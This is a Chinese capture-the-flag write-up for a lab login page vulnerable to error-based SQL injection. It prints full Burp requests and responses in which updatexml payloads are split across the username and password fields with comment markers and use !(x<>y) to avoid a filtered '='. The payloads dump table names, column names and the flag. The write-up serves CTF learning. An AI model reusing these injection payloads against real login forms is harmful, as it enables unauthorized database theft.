

实验吧 加了料的报错注入

原创

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订阅专栏

本题进入链接显示请登录, 提示使用post发送用户名和密码, 看源代码发现一条注释, 是后台验证的sql语句。用sql进行简单地url扫描, 没有扫描到注入点。

Please login!

tips:post username and password...

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```
1 <center><h1>Please login!</h1></center><br><center>tips:post username and password...</center>
2 <!-- $sql="select * from users where username='$username' and password='$password'"; -->
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```

使用Burp suite进行简单地用户名和密码的模糊测试。从结果可以看出在用户名和密码对select, update, delete等SQL关键字没有被禁,

Request	Payload	Status	Error	Timeout	Length	Comment
59	PRINT @@variable	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
60	PRINT @@variable	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
61	select	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
62	insert	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
63	as	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
64	or	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
65	procedure	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
68	asc	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
69	desc	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
70	delete	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
71	update	200	<input type="checkbox"/>	<input type="checkbox"/>	337	

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Request	Payload	Status	Error	Timeout	Length	Comment
61	select	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
62	insert	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
63	as	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
64	or	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
65	procedure	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
68	asc	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
69	desc	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
70	delete	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
71	update	200	<input type="checkbox"/>	<input type="checkbox"/>	337	
72	distinct	200	<input type="checkbox"/>	<input type="checkbox"/>	337	

Request
Response

Raw
Headers
Hex

```

HTTP/1.1 200 OK
Date: Thu, 29 Mar 2018 01:07:40 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Content-Length: 133
Connection: close
Content-Type: text/html

<br><center><h2>Login failed</h2></center>
<!-- $sql="select * from users where username='$username' and password='$password'; -->

```

对经常使用的报错注入函数updatexml进行测试。在密码中禁止对updatexml的使用，但是用户名并没有禁止。因此通过updatexml在存储非XPath格式的字符串时的报错输出获得所需要的信息。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数：XML_document是String格式，为XML文档对象的名称。

第二个参数：XPath_string (XPath格式的字符串)，如果不了解XPath语法，可以在网上查找教程。

第三个参数：new_value，String格式，替换查找到的符合条件的数据

Go
Cancel
<
>
Target: http://ctf5.shiyanbar.com

Request

Raw
Params
Headers
Hex

```

POST /web/baocuo/index.php HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.shiyanbar.com/ctf/2011
Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522052835,152220314,1522229927,1522282243; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*144611%2CnicName%3A%E5%BC%AD%E5%BF%AD%E7%91%9E; Hm_lpv_34d6f7353ab0915a4c582e4516dffbc3=1522282307; PHPSESSID=901jnrmpc55i372dk6voiom0m5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

username=1
&password=updatexml

```

Response

Raw
Headers
Hex
XML

```

HTTP/1.1 200 OK
Date: Thu, 29 Mar 2018 01:30:15 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Content-Length: 67
Connection: close
Content-Type: text/html

<center style='color:red'><h1>Unknown password error.</h1></center>

```

```

POST /web/baocuo/index.php HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.shiyanbar.com/ctf/2011
Cookie:
Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522052835,152220314,1522229927,1522282243;
Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*144611%2CnickName%3A%E5%BC%A0%E5%BF%A0%E7%91%9E;
Hm_lpv_34d6f7353ab0915a4c582e4516dffbc3=1522282307;
PHPSESSID=901jnrmpc55i372dk6voiom0m5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

username=updatexml
&password=1

```

```

HTTP/1.1 200 OK
Date: Thu, 29 Mar 2018 01:32:27 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Content-Length: 133
Connection: close
Content-Type: text/html

```

```

<br><center><h2>Login failed</h2></center>
<!-- $sql="select * from users where
username='$username' and password='$password'"; -->

```

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通过将用户名中加入updatexml，并将中间内容注释掉，就可以使用updatexml函数。使用select database()函数获得数据库名。

Request

Raw Params Headers Hex

```

POST /web/baocuo/index.php HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.shiyanbar.com/ctf/2011
Cookie:
Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522052835,152220314,1522229927,1522282243;
Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*144611%2CnickName%3A%E5%BC%A0%E5%BF%A0%E7%91%9E;
Hm_lpv_34d6f7353ab0915a4c582e4516dffbc3=1522282307;
PHPSESSID=901jnrmpc55i372dk6voiom0m5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

username=1' and updatexml/*
&password=*(1,concat(0x7e,(SELECT
database()),0x7e),1)or'1

```

Response

Raw Headers Hex

```

HTTP/1.1 200 OK
Date: Thu, 29 Mar 2018 01:34:01 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Content-Length: 43
Connection: close
Content-Type: text/html

<br>XPATH syntax error: '~error_hpf~'

```

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因为用户名和密码都禁了=，所以使用！和<>实现=的功能。获取数据库中的所有表。表中的列，以及列中的值。

Request

Raw Params Headers Hex

```
POST /web/baocuo/index.php HTTP/1.1
Host: ctf5.shiyandar.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.shiyandar.com/ctf/2011
Cookie:
Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522052835,152220314,1522229927,1522282243;
Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*144611%2CnickName%3A%E5%BC%A0%E5%BF%A0%E7%91%9E;
Hm_lpv_34d6f7353ab0915a4c582e4516dffbc3=1522282307;
PHPSESSID=901jnrmpc55i372dk6voiomOm5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 177

username=' and updatexml/*
&password=*(1,concat(0x7e,(SELECT
group_concat(table_name) from
information_schema.tables where
!(table_schema<>'error_based_hpf' ),0x7e),1)or'1
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Thu, 29 Mar 2018 01:40:17 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Content-Length: 42
Connection: close
Content-Type: text/html
```


XPath syntax error: '~ff1144jj,users~'

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Request

Raw Params Headers Hex

```
POST /web/baocuo/index.php HTTP/1.1
Host: ctf5.shiyandar.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.shiyandar.com/ctf/2011
Cookie:
Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522052835,152220314,1522229927,1522282243;
Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*144611%2CnickName%3A%E5%BC%A0%E5%BF%A0%E7%91%9E;
Hm_lpv_34d6f7353ab0915a4c582e4516dffbc3=1522282307;
PHPSESSID=901jnrmpc55i372dk6voiomOm5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

username=' and updatexml/*
&password=*(1,concat(0x7e,(SELECT
group_concat(column_name) from
information_schema.columns where
!(table_name<>'ff1144jj' ),0x7e),1)or'1
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Thu, 29 Mar 2018 01:45:23 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Content-Length: 33
Connection: close
Content-Type: text/html
```


XPath syntax error: '~value~'

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Request

Raw Params Headers Hex

```
POST /web/baocuo/index.php HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.shiyanbar.com/ctf/2011
Cookie:
Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522052835,152220314,1522229927,1522282243;
Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*144611%2CnickName%3A%E5%BC%A0%E5%BF%A0%E7%91%9E;
Hm_lpv_34d6f7353ab0915a4c582e4516dffbc3=1522282307;
PHPSESSID=901jnrmpc55i372dk6voiom0m5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

username=1' and updatexml/*
&password=*(1,concat(0x7e,(SELECT value from
ff1144jj),0x7e),1)or'1
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Thu, 29 Mar 2018 01:46:22 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29
Content-Length: 56
Connection: close
Content-Type: text/html

<br>XPath syntax error:
'~flag{err0r_b4sed_sqli+_hpf}~'
```

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